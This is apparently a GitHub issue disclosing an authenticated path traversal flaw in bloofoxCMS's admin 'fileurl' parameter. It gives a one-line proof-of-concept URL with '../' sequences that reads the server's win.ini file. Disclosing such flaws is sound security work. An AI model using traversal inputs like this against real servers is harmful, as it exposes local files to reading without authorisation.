New issue

Jump to bottom

Authenticated Path traversal in 'fileurl' parameter that leads to read local files #11

Open u0pattern opened this issue on Dec 27, 2020 · 0 comments

u0pattern commented on Dec 27, 2020

I discovered a Path traversal Vulnerability in 'fileurl' parameter, the 'fileurl' input does not avoid (./) in user-input which that leads to Path traversal Vulnerability.

PoC :-

http://localhost.fiddler/bloofoxCMS/admin/index.php?mode=settings&page=editor&fileurl=../../../../../Windows/win.ini

Impact

Read local files in webserver

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant